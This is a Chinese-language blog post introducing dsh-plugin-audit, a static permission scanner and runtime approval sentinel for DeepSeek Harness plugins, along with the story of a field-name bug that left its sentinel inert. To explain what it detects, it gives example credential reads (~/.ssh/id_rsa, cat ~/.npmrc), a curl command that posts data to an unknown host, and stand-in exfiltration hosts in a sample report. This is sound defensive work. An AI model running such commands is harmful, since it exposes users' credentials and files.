给DeepSeek Harness插件装上“安检门“:dsh-plugin-audit的设计与实践
安装一个第三方插件本质上是一次授权——授权它读你的文件、连它的服务器、动你的凭证。问题是你真的知道它要什么权限吗为什么写这个插件DeepSeek HarnessDSH的插件生态正在长大雷达站 awesome-dsh-plugins 已经收录了几十个社区插件涵盖会话迁移、跨会话通信、远程渠道等各种能力。这是好事但有一个越来越显眼的问题——插件安装没有权限声明环节。一条dsh plugin add xxx插件代码就进了你的 harness 进程它能读文件系统、能开子进程、能访问process.env里的一切包括你的 API token、能向任意主机发请求。装之前你唯一的审查手段是自己去读它的源码——而没人真的会为每个插件做这件事。我们需要的不是信任或不信任的二元选择而是证据这个插件的代码到底碰了什么能力把文件和行号摆出来让人来判断。同时静态审查只覆盖装之前。插件真正运行起来之后每一次工具调用都是一次新的授权决策。所以还需要一道运行时的关卡。这就是 dsh-plugin-audit 的两层设计静态画像 运行时哨兵。它做什么第一层plugin_audit静态审计工具装好后会话里会多出一个plugin_audit工具。指向任意插件的源码目录它返回一张权限画像卡## Plugin audit: fixture-suspicious-plugin **Risk: REVIEW** — REVIEW — human review recommended before installing 1 files scanned; riskreview; 10 findings (4 review, 4 notice, 2 info) ### Permission profile | Surface | Observed | |---|---| | Filesystem read | **yes** | | Filesystem write | **yes** | | Child processes | **yes** | | Network | **yes** | | Outbound hosts | evil.example.com, exfil.badhost.io, telemetry.example.net | | Env variables | GITHUB_TOKEN, HOME | | Credential-looking env | GITHUB_TOKEN | | Credential paths | .npmrc, .ssh | | Dynamic code execution | **yes** | | Injected services | credentials, tools |扫描覆盖的能力面文件系统读写——含别名导入readFileSync as rfs、异步方法rm/mkdir/cp等 20 个子进程——exec/spawn/fork及其同步变体网络——http/net/fetch/WebSocket以及 axios/got/undici 等常见 HTTP 库的导入URL 字面量里的外发主机会被逐个提取自动剥离 userinfo、IPv6 括号、尾部点环境变量——所有process.env.X引用名字疑似凭证的TOKEN/KEY/SECRET…单独升级标记凭证路径——.ssh/.aws/.npmrc/id_rsa等动态代码执行——eval/new Function/vm模块manifest 与 bundle patch——package.json的依赖声明、cordis.patch.yml是否 override/delete 了别人的插件行每条发现都带文件和行号。风险分三档INFO无敏感能力→NOTICE有能力扫一眼列表→REVIEW装之前建议人工审查。它是只读的——而且这件事本身被强制执行。每份报告携带writesPerformed: false契约标记审计器还附带一个 invariant 伴随插件如果任何plugin_audit结果丢失了这个标记宿主会直接让会话失败。审计别人代码的工具自己先戴上镣铐。第二层运行时哨兵静态审计管装之前哨兵管跑起来之后。它挂在宿主工具管线的tools/pre-executewaterfall 上监视会话里的每一次工具调用命中三条规则之一就返回ask交给宿主原有的审批提示规则示例任意工具参数引用凭证路径read读~/.ssh/id_rsa、bash: cat ~/.npmrcshell 外发指向白名单之外的主机curl -d data.json https://collector.unknown.io/x写工具指向家目录 dotfilewrite写~/.zshrc没有审批通道时调用被拒绝——绝不静默放行。怎么使用安装# 从 npmdsh plugin--profilewebadddsh-plugin-audit# 或直接从 GitHubdsh plugin--profilewebaddgithub:jkrandom-sudo/dsh-plugin-audit重启 profile 后生效。卸载同样一条命令dsh plugin --profile web remove dsh-plugin-audit。审计一个插件在会话里直接说用 plugin_audit 审计 ~/some-third-party-plugin 这个插件或者让模型直接调用{path:/absolute/path/to/plugin,format:markdown}path必填——插件的源码目录不是带node_modules的安装产物format——markdown默认返回上面的卡片或json返回结构化报告适合程序化处理配置哨兵在 profile 的cordis.patch.yml里-id:dsh-plugin-auditname:dsh-plugin-auditconfig:sentinelEnabled:true# 总开关false 只保留静态审计allowedHosts:# shell 外发的预批准主机-github.com-registry.npmjs.org-*.deepseek.com# 前导 *. 后缀规则同时匹配裸域名正常命令频繁触发询问把主机加进allowedHosts即可。一段诚实的插曲v0.1.x 的哨兵其实从未工作过这个插件最值得讲的经验来自它自己的一次翻车。v0.1.0 发布前哨兵在测试里全部通过在本机真实 profile 的进程内验证里也通过了。发布后的一次三 agent 代码审查却发现了一个 P0哨兵读的是exec.args而宿主真实的执行对象把参数放在exec.arguments。生产环境里每条规则永远命中不了——哨兵是个安静的摆设。更讽刺的是为什么验证没拦住测试 harness 和手工验证脚本都镜像了同一个错误假设错得彼此印证。v0.1.2 的修复不止改了字段名exec.arguments ?? exec.args还做了两件防复发的事验证脚本改用宿主真实形状{ name, arguments }派发并在 harness 里留下注释记录这次回归新增src/events.ts用 cordis 的Events接口模块增强把宿主 waterfall 声明进类型系统——监听器形状从此编译期受检同类错误在tsc阶段就会爆炸而不是上线后。教训一句话当测试替身和生产事实由同一个假设驱动时绿灯什么也证明不了。验证要对着宿主的真实源码形状来而不是对着自己的理解来。边界与立场这个插件是审计辅助不是杀毒软件干净的报告含义是这些规则没发现证据不是安全扫描基于源码文本而非 AST字符串和注释里的命中会原样上报——宁多勿漏因为卡片是给人看的证据不跟随 symlink跳过node_modules/dist等目录只发布构建产物的包会强制得 NOTICE 而不是假干净上限 400 文件 / 单文件 256 KB超出会在报告里如实标注。发现绕过方式——扫描器漏检的能力、可规避的哨兵规则——欢迎在 Issues 提出敏感内容请先私下报告。链接仓库https://github.com/jkrandom-sudo/dsh-plugin-auditnpmhttps://www.npmjs.com/package/dsh-plugin-audit雷达登记awesome-dsh-plugins → PLUGINS.md → 单插件装插件之前先花十秒钟看看它的权限画像。这十秒钟就是这道安检门存在的全部理由。